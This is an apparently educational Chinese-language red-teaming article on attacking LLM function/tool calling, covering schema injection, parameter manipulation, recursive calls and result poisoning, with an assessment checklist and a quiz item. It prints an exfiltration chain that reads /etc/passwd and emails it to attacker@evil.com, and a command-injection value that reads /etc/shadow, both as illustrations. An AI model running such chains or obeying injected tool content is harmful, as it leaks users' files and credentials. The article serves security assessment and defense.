函式呼叫攻擊(Function Calling Exploitation)
概述 LLM 函式/工具呼叫的運作方式、其產生的攻擊面,以及對 AI 系統中函式呼叫介面進行利用的系統化方法。
函式呼叫攻擊
函式呼叫——又稱工具使用——是 LLM 與外部系統互動的機制。模型不再輸出自由文字回應,而是產出指定函式名稱與參數的結構化 JSON。協作層(orchestration layer)執行該函式並將結果回傳給模型。此能力將語言模型由文字產生器轉化為自主代理,而每一個向模型註冊的函式都成為一個攻擊面。
函式呼叫的運作方式
函式呼叫管線分為四個階段,每階段皆有明確的安全意涵:
| 階段 | 發生的事情 | 攻擊面 |
|---|---|---|
| 註冊(Registration) | 開發者定義函式綱要(名稱、描述、參數、型別) | 綱要注入:於描述或參數定義中藏入惡意內容 |
| 選擇(Selection) | 模型依對話脈絡決定呼叫哪個函式 | 選擇操弄:引導模型呼叫非預期之函式 |
| 呼叫(Invocation) | 協作層以模型產生之參數執行函式 | 參數操弄:打造可利用下游系統之惡意值 |
| 回傳(Return) | 函式結果回餵入模型上下文 | 結果投毒:經由回傳值注入指令影響後續行為 |
函式呼叫攻擊面
供應商實作
各供應商的函式呼叫實作具不同安全特性:
| 供應商 | 實作 | 主要差異 |
|---|---|---|
| OpenAI | tools 參數搭配 JSON Schema 定義 | 支援 strict: true 以強制綱要驗證 |
| Anthropic | tools 陣列搭配 input_schema 定義 | 工具使用結果以 tool_result content block 傳送 |
| Google(Gemini) | function_declarations 採 OpenAPI 風格綱要 | 支援 NONE、AUTO 與 ANY 之工具呼叫模式 |
| 開源(Llama、Mistral) | 依供應商而異,常經特殊 token | 綱要強制程度差異大,許多毫無驗證 |
攻擊分類
函式呼叫攻擊可分為四大類,各自針對不同管線階段:
1. 綱要注入(Schema Injection) —— 操弄函式定義本身以改變模型行為。模型將綱要描述視為受信任指令,故描述中的對抗內容可重導後續所有呼叫之行為。參見 綱要注入。
2. 參數操弄(Parameter Manipulation) —— 打造輸入,使模型產生惡意參數值。型別混淆、邊界越界與經由參數值之注入皆可危害下游系統。參見 參數操弄。
3. 遞迴/無窮呼叫(Recursive/Infinite Calling) —— 觸發模型反覆呼叫函式的迴圈,耗盡資源或造成競態條件。呼叫鏈操弄可造成函式呼叫數指數增長。參見 遞迴函式呼叫。
4. 結果投毒(Result Poisoning) —— 於函式回傳值中注入對抗內容以劫持後續模型行為。由於結果直接餵入模型上下文,它是強力的間接注入向量。參見 結果投毒。
方法論:評估函式呼叫安全
枚舉函式面
辨識所有已註冊函式、其描述、參數綱要與權限層級。判定哪些函式讀資料、寫資料、或執行程式碼。繪製每個函式輸出的信任層級。
測試綱要操弄
嘗試以使用者訊息中模仿綱要格式的對抗內容,影響函式選擇與行為。測試應用程式是否由使用者可控內容動態產生綱要。
探測參數邊界
對每個函式測試型別混淆(期望數字處餵入字串)、邊界值(極長字串、負數、特殊字元),以及於參數值中放入注入 payload(SQL、命令注入、路徑穿越)。
測試呼叫鏈行為
驗證模型能否被誘使反覆呼叫同一函式、以非預期順序呼叫函式,或產生參照其他函式呼叫之函式呼叫。
評估結果處理
於函式回傳值中注入對抗指令,觀察模型是否遵循。測試來自低信任函式之結果能否影響對高信任函式之呼叫。
評估協作層控制
判定協作層是否於執行前驗證參數、強制速率限制、對敏感函式實施核准流程,以及在結果回餵給模型前是否加以消毒。
常見的脆弱模式
數種實作模式持續導致函式呼叫漏洞:
動態綱要產生
自使用者可控資料(例如資料庫欄位名稱、API 端點描述)建構函式綱要的應用程式,允許攻擊者將對抗內容直接注入函式定義:
# 脆弱:綱要由使用者可控之資料庫欄位名稱建構
def build_schema(table_name):
columns = db.get_columns(table_name) # 使用者可控
return {
"name": f"query_{table_name}",
"description": f"Query the {table_name} table",
"parameters": {
col.name: {"type": col.type, "description": col.description}
for col in columns # 描述可能含注入
}
}無限制之函式串接
允許模型於無人類核准下呼叫無限制函式的應用程式,形成升級鏈——由低權限讀取導向高權限寫入:
web_search("topic") -> read_file("/etc/passwd") -> send_email(to="attacker@evil.com", body=contents)
未驗證之參數直通
將模型產生之參數未經驗證直接傳入系統呼叫之應用程式,會經由函式呼叫介面遭受經典注入攻擊(SQL 注入、命令注入、SSRF):
# 脆弱:參數直接直通
def search_files(query: str):
return os.popen(f"grep -r '{query}' /data/").read()
# 模型可產生:query = "'; cat /etc/shadow; echo '"紅隊檢查清單
評估函式呼叫實作時可使用此清單:
- 函式綱要是否會被使用者可控資料影響?
- 參數值是否依其宣告型別與限制加以驗證?
- 是否存在函式呼叫之最大深度或速率限制?
- 函式結果進入模型上下文前是否經過消毒?
- 敏感函式是否以人類核准或提升驗證加以閘控?
- 模型是否會被誘使以非預期順序呼叫函式?
- 協作層是否記錄函式呼叫以偵測異常?
- 函式產生之錯誤訊息是否經過消毒以防止注入?
相關主題
- 綱要注入 -- 操弄函式定義以改變模型行為
- 參數操弄 -- 打造惡意參數值
- 遞迴函式呼叫 -- 經由呼叫迴圈達成資源耗盡
- 結果投毒 -- 經由回傳值劫持行為
- MCP 工具攻擊 -- 針對 Model Context Protocol 工具介面之相關攻擊
某應用程式自資料庫動態產生函式綱要,其中欄位描述可由終端使用者編輯。這使哪一種攻擊類別成為可能?
參考資料
- OpenAI,〈Function Calling〉API 文件(2024)
- Anthropic,〈Tool Use〉API 文件(2024)
- Fang et al.,〈LLM Agents can Autonomously Exploit One-day Vulnerabilities〉(2024)
- OWASP Top 10 for LLM Applications v2.0 -- LLM07:Insecure Plugin Design
- Debenedetti et al.,〈AgentDojo: A Dynamic Environment to Evaluate Attacks and Defenses for LLM Agents〉(2024)